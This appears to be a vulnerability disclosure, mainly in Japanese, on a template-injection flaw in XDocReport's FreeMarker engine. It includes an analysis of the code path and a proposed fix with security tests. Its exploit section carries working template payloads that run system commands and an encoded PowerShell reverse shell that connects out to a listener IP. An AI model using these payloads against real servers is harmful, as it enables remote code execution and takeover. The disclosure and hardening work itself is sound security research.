脆弱性の概要
ビジネスへの影響
OpenSAGRES XDocReportにおいて、FreeMarkerエンジンでDOCXテンプレートを処理する際にServer-Side Template Injection (SSTI) 脆弱性が発見されました。特定の設定下で、細工されたテンプレートによりリモートコード実行 (RCE) が発生する可能性があります。
人事管理Webサイトでは、ユーザーが.docxドキュメントファイルをシステムにアップロードできます。処理中、アプリケーションはテンプレートエンジンFreeMarker(FreemarkerTemplateEngine.javaファイル内)を使用して、${"freemarker.template.utility.Execute"?new()("whoami")}のような内容をレンダリングしますが、入力内容の制御やフィルタリングの仕組みはありません。この脆弱性により、攻撃者は悪意のある式を.docxファイル(テンプレート)に挿入し、サーバー上でのリモートコード実行 (RCE) を引き起こし、情報の盗難やシステムの乗っ取りに悪用される可能性があります。
fr.opensagres.xdocreport.template.freemarker — XDocReport (バージョン1.0.0から2.1.0まで)。
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.javaでは、入力されたxdocファイルの内容をチェックしていません。テンプレートの内容はそのままロードされ、サンドボックス化やディレクティブ/式の制限なしに、FreeMarkerエンジンによって処理されるprocess(context, writer, template)に渡されます。その結果、攻撃者は悪意のあるFreeMarkerの式やコマンドを含むテンプレートを提供でき、リモートコード実行 (RCE) につながります。.docxファイルをアップロードします。```
${"freemarker.template.utility.Execute"?new()("calc")}
2. 正常に実行され、電卓アプリが起動することを確認

3. 同様に、システム上で実行中のユーザー情報を取得するために、payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx ファイルの処理を通じて、システムのデータが返されていることがわかる


6. インパクトをRCEに引き上げる
- 待ち受けマシンはWSLで、IPアドレスは`172.26.208.130`です

- 以下のペイロードでエクスプロイトします:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx ファイルを xdocreport に渡して処理するxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java に追加する私の修正では、${cuong.name} のような通常のオブジェクトとプロパティのレンダリングは引き続き許可し、危険な組み込み関数のみをブロックしています
${'freemarker.template.utility.Execute'?new()('calc')} - ブロックされる by ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} - ブロックされる by setAPIBuiltinEnabled(false)?new() と ?api を使用する他のすべてのペイロードもブロックされるPath: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
変更点:
✅ インポートを追加: java.util.regex.Pattern
✅ メソッド validateTemplateSecurity(Reader reader) を追加 — 危険なパターンを検証
✅ processNoCache() を更新 — Template 作成前に検証を追加
✅ process(String templateName, …) を更新 — このメソッドに検証を追加
Path: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
変更点:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder, など| ファイル | 変更の種類 | 目的 |
|---|---|---|
| FreemarkerTemplateEngine.java | 修正 | SSTI 保護を追加 |
| FreemarkerTemplateEngineSecurityTestCase.java | 新規ファイル | 検証ロジックのテスト |
バージョン 2.2.0 では保護メカニズムが有効になり、SSTI の防止に成功しました
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- インポートが必要なライブラリ```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A 開始点 (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ ソースはこのDOCXファイルそのものです — もしファイルがユーザーによってアップロード/書き込まれた場合、内部のテンプレートコンテンツ(FreeMarker構文)は信頼できないデータです。```
InputStream input = new FileInputStream(docxTemplate);
→ ファイルの内容を読み取ってXDocReportに渡す。```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- `loadReport(...)` は DOCX ファイルを解析(パース)し、DOCX 内のエントリ/テンプレートを探して `IXDocReport` を作成します(内部で FreeMarker の Template オブジェクトを初期化するか、テンプレート用のリーダーを保持します)。
- DOCX ファイル内のテンプレートコンテンツは、これでレポートオブジェクト内に収まります(まだ実行はされていません)。


`zipInputStream.getNextEntry()` は ZIP(.docx)内の各エントリ(各ファイル)を繰り返し処理します。
`archive = new XDocArchive(...)` — まだアーカイブがない場合は、ドキュメントのエントリを整理・登録するためのオブジェクトを初期化します。

要するに:この部分は DOCX の内容を内部構造(`XDocArchive`)に展開し、後続の処理でサブファイル(`document.xml` など)にアクセスできるようにします。```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
| ステップ | アクション | 目的 |
|---|---|---|
| 1 | DOCXファイルを読む | 元のレポート構造を取得する |
| 2 | IXDocReportを作成 | テンプレートを表す |
| 3 | IDを割り当て | 一意に管理する |
| 4 | テンプレートエンジンを選択 | 式を処理するため (Freemarker/Velocity) |
| 5 | 必要に応じてキャッシュ | パフォーマンスを最適化 |
| 6 | レポートを返す | 結果ファイルをレンダリングするために使用 |
要約すると、IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); の時点ではSSTIチェックメカニズムはなく、docx内のxmlファイルをロードして、処理の準備ができた(例えばレンダリング、データマージなど)IXDocReport report を返すだけです。
report.process(context, out); にて
この関数の内部を詳しく見ると、preprocess(...) を呼び出してXMLを解析し、各XMLエントリを読み取り、XMLコンテンツを解析してBufferedDocumentを作成し、Writerに書き出します(これは前処理されたXMLバージョンです)。
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

その後、`processNoCache()` に移り、`getReader()` を呼び出します。


`getReader()` 関数は、テンプレート全体をエスケープディレクティブで囲むために使用され、コンテンツが安全に処理されることを保証します(HTMLエスケープ、インジェクション回避)。

元のテンプレート:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
getReader() 処理後:```xml [#-- Hello ${name}! [/#escape][#--]]>--]
Freemarkerエンジンをより安全に読み取れるようにします:
- XML保護:XML内の特殊文字をエスケープします
- 安全な処理:Freemarkerがテンプレートを解析する際のエラーを回避します
その後、`FMParser`を呼び出してFreemarkerの構文解析を行います

最後に、`process()`内で`environment.process();`を呼び出し、データリーダーを使用します```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 ここが最も重要なステップです — 実際のレンダリングが行われます。
getTemplate() はパース済みのテンプレート(AST)を返します。
getRootTreeNode() は FMParser がパース時に生成する構文木のルートノードです。
visit() は FreeMarker のコアAPIであり、テンプレートの各要素を走査・レンダリングするために使用され、freemarker.core.Environment 内で定義されています。
TextBlock に遭遇 → テキストを out に書き出す。
Interpolation(例:${user.name})に遭遇 → dataModel を検索し、値を取得して out に書き出す。
#if, #list, #include, macro に遭遇 → 対応するロジックを処理する。```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }



それは entryName `word/document.xml` でトリガーする

次に、関数 `accept()` にジャンプする
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









`visit()` 関数内の実行フローは次のとおりです。```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **悪用可能な主要ポイントの要約**
| 段階 | クラス | 役割 | SSTI関連 |
| ----------------------- | ----------------------- | ------------------------- | ---------------------------- |
| `loadReport()` | `XDocReportRegistry` | テンプレート読み込み | 入力制御なし |
| `getReader()` | `TemplateEngine` | テンプレートデータ読み取り | ペイロードを含む可能性あり |
| `FMParser` | `freemarker.core` | コンテンツ解析 | `${}`変数が解析される |
| `Environment.process()` | `freemarker.core` | テンプレートレンダリング | 各ノードの`visit()`を呼び出す |
| `visit()` / `eval()` | `freemarker.core` | 式の実行 | **SSTI/RCEポイント** |
---
## 資料
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link